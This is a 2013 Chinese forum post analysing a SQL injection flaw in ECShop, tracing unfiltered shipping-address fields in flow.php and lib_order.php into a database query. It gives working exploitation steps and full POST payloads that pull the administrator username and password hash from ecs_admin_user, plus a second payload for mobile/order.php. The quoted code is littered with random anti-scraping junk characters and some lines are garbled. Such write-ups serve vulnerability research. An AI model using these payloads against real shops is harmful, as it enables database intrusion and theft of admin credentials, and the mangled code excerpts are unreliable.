找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2206|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。  b) X6 y' v3 Q6 A& n' ?4 y+ w

0 {8 b: r) Y1 Z" B5 W7 v2 s    漏洞关键文件:/ t, t9 S+ b( e. B- W

$ t. c8 f- {3 F7 r* G    /includes/lib_order.php
. Q8 u4 u4 n+ B- D! S  r7 W! G6 I8 B! x' ?- U$ E0 n; B
    关键函数:
: \% g! @% o4 j4 P8 Z8 r7 w/ ?& s% [/ g3 o2 K4 g3 d! w
! M5 n/ z; N# S
( I- i( C0 ~# h
01     function available_shipping_list($region_id_list) 3 X# \  w5 j# M: [5 _

+ W- W+ l; C6 Y' b8 @9 j02 { 8 R2 U/ L1 ^, g& _
" ?4 H$ h/ v% |
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
( g; W$ q: c* e  E2 ^- V/ Y" A2 l2 ?2 X5 M  N* v
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
. P$ o' {" U! i8 ^" R' t- h
9 M" w  ~" V+ B& A6 h6 J# m# d05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . 1 G; y" y# V8 X" z. Z7 \! |

) x& Z) I2 `: S" s, f: z06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
' a% |! @$ C: M" k: ^% @0 r5 D7 {) G: E. h+ e
07                 $GLOBALS['ecs']->table('area_region') . ' AS r '. " T! J7 u' r9 t" o" f4 Z% q1 P
1 o3 _+ s1 Y- c: p- h
08             'WHERE r.region_id ' . db_create_in($region_id_list) . / c( C6 P) @* @5 @. g9 c% n
4 O+ D2 @8 l  @6 T7 X5 \) ~. a
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
7 w5 m& r: n5 ^
# R' g  t+ n2 b% b7 d7 p9 s10   
5 J! q3 w2 ]  a8 U& x/ D4 G' b8 Z* l8 {3 G  f
11     return $GLOBALS['db']->getAll($sql);
9 w7 f' V$ b* Y  Z
! Y; _, i! \' ~$ {12 } + o  F) l; e7 R& F- V3 p
( }9 g$ s8 x! ]
显然对传入的参数没有任何过滤就带入了查询语句。
2 t- ]6 G$ B6 M! G  F 0 G) U, o: M/ Y+ _  R
下面我们追踪这个函数在flow.php中:- v5 o$ N7 Z- K$ T# \' b  M% ?
第531行:   * r  |$ q" ^' s

. ]% h. B6 ^$ K5 x- ]" [# d" j$ P1 $shipping_list     = available_shipping_list($region); & f4 ]1 G& N- ~. a" `

% B  F. `( R+ e- P- N
  N0 `5 L4 d8 g7 A: L7 q; M3 R2 J6 K; s0 ]

* \5 B, N( V7 ]/ P/ W, n" y  h; }/ Z  N3 j* `8 @
再对传入变量进行追踪:, y* l5 P# J. l4 Q

7 }3 W6 q/ X" H. \* X第530行:    / a6 }* E0 a! P! ~
9 e/ d4 T# c) F. x; i$ V
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); 0 j3 f6 y& ~) j( G" V  ^- O

  j# }% T  s1 T" d
- f8 Q0 _8 \, z; }: n, p2 |5 P7 N- F& J; z
0 |% M# z# n" s
5 h0 D0 T& R- p' N5 I+ T
第473行:          t1 R/ o9 \& j8 ^3 l2 Y
1 T9 t( n) |# N+ q5 y# }" r1 \
1 $consignee = get_consignee($_SESSION['user_id']);
$ j$ s& m* W# \* p, d4 R& V# v0 N2 z+ {" c
到了一个关键函数:; X, b2 l/ O5 x5 @# M% b

- C6 o+ t( |# Z2 k/includes/lib_order.php
# z1 L9 L# w2 ^8 H; a+ i$ z3 T& A

) z% E0 W) C) [8 s  R- ?9 M& Y/ I9 c6 W9 {1 x

' r. P6 O3 s! o- }
2 L) K# j  N1 ~0 S+ V& x01 function get_consignee($user_id)
. E4 D  R/ d  ]% s8 F; x; M& z* H; P
02 {
  e, W2 T8 n, v+ S% o( n: F  y! P4 R+ v/ @
03     if (isset($_SESSION['flow_consignee']))
5 L2 F; C3 M- @! T2 `5 E4 s+ N
1 @& v6 u2 B/ z' E" v3 |& ]1 w% ^04     {
2 c( t0 O* y1 U( |0 [* \/ L
0 e# \* A( ^/ \7 e: e05         /* 如果存在session,则直接返回session中的收货人信息 */ ( |# ]$ O$ K8 ^4 I/ M4 |! X
% c0 j6 w% f6 P6 N) M& u
06   
; y6 Y" H3 X- `. e5 L) I% P# W! f1 h) O
07         return $_SESSION['flow_consignee']; ) m6 W! F# ?8 n0 X: c: I& ^9 h4 ?

- g* N# W0 m* w/ {08     } ( r% u1 @0 G# v: o4 B( K

% s) P; }7 f6 f/ U, {: G  N/ {, i09     else
# w% s% U- i; j9 }: H; s7 Y/ Q0 w. ?8 B7 V7 V+ N* G( P) H
10     {
" x; G1 F, t' p) l4 [5 p
  s% c# r) U* n8 a11         /* 如果不存在,则取得用户的默认收货人信息 */
( h2 w7 V4 f8 u7 t% ]# m
1 w$ P) P! k  Z- O  j1 E( V& O, W12         $arr = array();
5 v) Y, \% g0 u9 B; Z. W) j+ r( M3 K; W+ A  }
13   
( a7 \0 d( F" D" k& s; v
+ w- N$ E8 S! W# c) Z7 H14         if ($user_id > 0)
. ^1 y* P3 T# D1 u, [  s+ G
- m) S: _, j2 S5 x5 f9 j15         {
4 L" d# _& J, K3 r) ^  M- Q  W) W+ {. {% L+ x6 t# s2 I
16             /* 取默认地址 */
! N* a- z8 h6 k" M% V
. t4 m5 N2 e. c17             $sql = "SELECT ua.*". " b- F* N; [) ?4 D* u

5 ^1 ~2 n5 C' g. ^, U" y18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. ; D4 V5 y- z- A- S7 j, y! P

! B' {* y/ V/ d4 N% H19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
* E& [8 s' L/ n8 Y: }' K; u, d# n* J" l
20   
4 O! v# t( h8 l& n8 z; k9 R* ^2 w! S, K! x( _1 M
21             $arr = $GLOBALS['db']->getRow($sql); 4 p% y' ]1 o+ a) ~# _# t
9 R* A5 f2 O7 C7 c
22         } ) {! m5 q. A5 Z! G) q
% y5 f/ g  X9 S4 ~% I0 k
23   ) l: t) A+ j3 Y5 t- @6 Z

+ W" z* M  P5 q8 }) |24         return $arr; # k- Y- D; ]5 \: Y
# o$ t, b6 J6 Z2 V
25     }
( a0 t& @/ z6 m4 q. s' F  \: C; a4 a9 q; H2 ^5 ]& L6 K2 F. E
26 }
- m3 u4 L* R* x  G* G
$ E! E# H! T( F$ K1 p2 l( Q6 }显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
% ]' F+ Y9 {7 |$ ]: i) k( j# a) r
8 t& \5 k8 T3 a! N1 R8 l : t, X  `# C2 D4 [  r

( |4 ^, Y* M, }" A, |& I  C. B关键点:0 I' p& F  R& k) J2 A- ^% k

7 R# R9 x  H; g1 [第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
+ C* ^) R# ?) M1 N. P
4 P' Y" V6 s' S3 }这里对传入参数反转义存入$_SESSION中。) ]5 s. [! h. X' w4 M2 X0 N

/ ~0 x) ]. c) v$ k, G. S ! @0 \) ]( H; @$ a. f

# F$ j! Z* r# X9 a% B+ ~+ J然后看下:; k- M& s8 r$ u/ s9 R& e% V
# h9 G" E0 g& Z* u

% f& W0 U( |& Q: `$ e9 W& n0 J3 m- z- |# K# ~- X
    - @! A1 w( a& e" H3 D

8 v+ K- o% N  m# N  W01 $consignee = array(
5 j& o8 Z) a: }. D- V2 {. d  S: m# ^/ A5 e' D( D1 k  z5 ^3 ?
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']), ) }( n4 Q/ H) g- }! {) a
, z) N$ k* S1 R7 Q
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
' z' H1 v6 G0 B5 k* R4 n3 Z( n/ M) R% X7 b
04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
9 f3 n, t: h! {  J
3 y/ \- H; t4 X6 ~05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
/ X/ a: g9 P5 K+ A" d2 y  `$ P* o! v: K9 E
06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
4 q9 U& k( c9 B0 A  B! ]
2 |% F: F0 K& ^( |/ `07         'district'      => empty($_POST['district'])   ? '' _POST['district'], ) q" a1 j* f. z- y  k) o4 P- y* g

& c% w6 Z. y1 f8 H08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
) |  a8 n. J+ _( p# ?0 O+ q' ]- v
! L; I+ L  s; n6 ^) Q; \/ c09         'address'       => empty($_POST['address'])    ? '' _POST['address'], 9 |7 S, p( Q. e  f6 \9 b

5 U. g3 S% I  u) Z- R' Y) q; S10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])), % m) {' ]! H7 m0 K+ ]* x5 C* A

- |) `+ s  ?3 q  z) H+ n* Z11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
6 y' x( \# ~- G; A2 T" ]
8 J+ s, d% }) T% m, _. F- A12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])), ' @9 o% C; t' b0 \" t

$ r3 @/ T1 ~4 A+ H' }' d/ L13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], ) b" D; w! d* o& x* D/ ~* ?/ V- t4 Y

! @' K' Z8 b7 S/ b. e5 `14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'], / y5 ?& S( F- m/ m* q  x% B
% T4 t& @& v0 {9 |! b
15     );
# ~6 e4 x/ s+ u: ^, O6 x6 G$ I& M9 B
好了注入就这样出现了。
# W: E2 `0 L  S3 w/ t$ U5 Q& u
7 R/ _. a( R- v==================
) d' q# |# E$ |% Q0 N) v8 M$ g2 V6 q( S3 T' V
注入测试:3 b1 k/ ]. D' m& F% \0 ^
+ a2 D9 Y( v( v  P) t4 Z
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)% q$ l$ G! v5 S& a! _6 {" c$ b

* ]+ R) M1 M% ~" l7 s测试程序:ECShop_V2.7.3_UTF8_release1106/ g# E+ r  w" K2 G. B: g

  r* J/ G7 b+ i# A" P6 t8 L
& v# F4 W( n4 b& e
) x& n, P% y# f% F8 ^" S1.首先需要点击一个商品加入购物车$ y- p9 c( M, X" b' b1 T8 b
% p1 f7 X% m3 C5 V& n3 ?
2.注册一个会员帐号
' Q6 z- x* r1 B1 \3 x6 p  o0 G/ E4 h. C. c
3.post提交数据1 I" e$ m/ g- |. }- i) b

/ I8 G8 G8 ~1 b" ^) E . D% ]; j. G" x1 M& I. Q6 v: D3 V# [

* z% x; S0 N0 D7 O3 m4 k1 http://127.0.0.1/ecshop/flow.php
# ~; `: \3 N* ]$ y8 e9 y9 }) a1 v$ J) X9 ^
2   9 e/ I- v! V& w

0 Z9 g9 y- B, t' Z' Y3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
: G' o6 h3 n7 `. F1 i举一反三,我们根据这个漏洞我们可以继续深入挖掘:7 e$ b. i4 W) d8 ?: ~

& e) D8 o* Q' T1 n我们搜寻关键函数function available_shipping_list()
  |( ]& z3 R4 t  |- }
) ^4 j7 R5 v1 S5 ?5 \2 n$ u在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同) m; H5 X1 h- a- l4 ~+ H
: Z( }! {2 _7 v( J* R+ k
利用exp:
8 t/ j) w) C/ l
' n2 s$ u7 h& H0 @( h: e  `1.点击一个商品,点击购买商标3 y4 ]( J, i0 _. b1 ?

  B5 v& q/ j' d' a, c2.登录会员帐号
  U( {6 |' Q. |  g& x( ~* p4 ^& {2 Y8 R* ~9 P5 }
3.post提交:
) X: ~! [+ R7 Q' x. t6 E. a: }  F3 D0 a$ B" \1 \
http://127.0.0.1/ecshop/mobile/order.php
, Q2 M, f! [, o: v$ `' L; E
7 B7 _) m, V. [8 J6 H+ g  I- q: | ! T; y( B# z, x( B, x3 a7 m

2 w, R4 h8 q# y, h( x9 [- Lcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
4 z+ K  L# F& u/ `4 z
6 c2 E" ~* X) `* i# Z, C0 o
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表